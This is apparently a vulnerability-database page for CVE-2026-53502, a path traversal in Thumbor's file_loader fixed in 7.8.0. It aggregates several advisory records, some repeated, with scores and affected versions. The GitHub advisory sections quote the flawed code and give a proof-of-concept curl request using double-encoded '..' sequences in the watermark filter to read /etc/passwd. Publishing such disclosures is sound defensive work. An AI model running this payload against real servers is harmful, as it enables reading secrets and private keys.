CVE-2026-53502
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
- Record
CVE-2026-53502- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-51612
8.7
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
- Record
EUVD-2026-51612- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cj54-hpcc-gj6h
8.7
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.
Affected code
thumbor/loaders/file_loader.py lines 28-49:
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).
PoC
# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
Flow:
%252e%252earrives at Tornado, decoded to%2e%2e- Watermark filter passes
%2e%2e/%2e%2e/.../etc/passwdto file_loader join(ROOT, '%2e%2e/...')=ROOT/%2e%2e/...abspath()sees%2e%2eas literal dir name (no dots to resolve)startswith(ROOT)= True (passes check)exists()returns False (literal%2e%2edir doesn't exist)unquote()converts%2e%2eto..- OS resolves
..→ reads files outside ROOT
Prerequisites
LOADER = thumbor.loaders.file_loader(orfile_loader_http_fallback)ALLOW_UNSAFE_URL = True(this is the default)- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
- Record
GHSA-cj54-hpcc-gj6h- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.7
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
- Record
CVE-2026-53502- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.7
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
- Record
CVE-2026-53502- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-53502
8.7
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
- Record
DEBIAN-CVE-2026-53502- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-cj54-hpcc-gj6h
8.7
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.
Affected code
thumbor/loaders/file_loader.py lines 28-49:
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).
PoC
# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
Flow:
%252e%252earrives at Tornado, decoded to%2e%2e- Watermark filter passes
%2e%2e/%2e%2e/.../etc/passwdto file_loader join(ROOT, '%2e%2e/...')=ROOT/%2e%2e/...abspath()sees%2e%2eas literal dir name (no dots to resolve)startswith(ROOT)= True (passes check)exists()returns False (literal%2e%2edir doesn't exist)unquote()converts%2e%2eto..- OS resolves
..→ reads files outside ROOT
Prerequisites
LOADER = thumbor.loaders.file_loader(orfile_loader_http_fallback)ALLOW_UNSAFE_URL = True(this is the default)- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
- Record
GHSA-cj54-hpcc-gj6h- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-3618
8.7
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.
Affected code
thumbor/loaders/file_loader.py lines 28-49:
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).
PoC
# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
Flow:
%252e%252earrives at Tornado, decoded to%2e%2e- Watermark filter passes
%2e%2e/%2e%2e/.../etc/passwdto file_loader join(ROOT, '%2e%2e/...')=ROOT/%2e%2e/...abspath()sees%2e%2eas literal dir name (no dots to resolve)startswith(ROOT)= True (passes check)exists()returns False (literal%2e%2edir doesn't exist)unquote()converts%2e%2eto..- OS resolves
..→ reads files outside ROOT
Prerequisites
LOADER = thumbor.loaders.file_loader(orfile_loader_http_fallback)ALLOW_UNSAFE_URL = True(this is the default)- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
- Record
PYSEC-2026-3618- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-53502
8.7
Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.
- Record
UBUNTU-CVE-2026-53502- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
thumborPyPI |
through 7.7.7 | 7.8.0 |
thumborDebian:14 |
before 7.8.0-1, plus listed versions 6.3.2-36.3.2-46.5.1-16.5.1-26.5.1-3 Show 11 moreShow less6.5.1-46.5.1-56.5.1-66.5.1-76.7.0-17.7.7-17.7.7-27.7.7-37.7.7-47.7.7-57.7.7-6 |
7.8.0-1 |
thumborPyPI |
before 7.8.0, plus listed versions 4.1.34.10.04.10.14.10.24.10.3 Show 45 moreShow less4.11.04.11.14.12.04.12.14.12.24.4.14.5.34.5.44.6.04.7.04.7.14.8.04.8.14.8.24.8.34.8.44.8.54.8.64.9.04.9.15.0.05.0.0rc15.0.0rc25.0.15.0.25.0.35.0.45.0.55.0.65.1.05.2.05.2.16.0.06.0.0b16.0.0b26.0.0b36.0.0b46.0.0b56.0.16.0.26.1.06.1.16.1.26.1.36.1.4 |
7.8.0 |
thumborUbuntu:26.04:LTS |
All versions, plus listed versions 7.7.7-47.7.7-5 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-53502 is a high vulnerability (CVSS 8.7) in Thumbor, published July 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in thumbor 7.8.0.
References
github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h
github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d
github.com/thumbor/thumbor/releases/tag/7.8.0
github.com/advisories/GHSA-cj54-hpcc-gj6h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53502.json
nvd.nist.gov/vuln/detail/CVE-2026-53502
Left out here: 68 versions. The JSON record has them.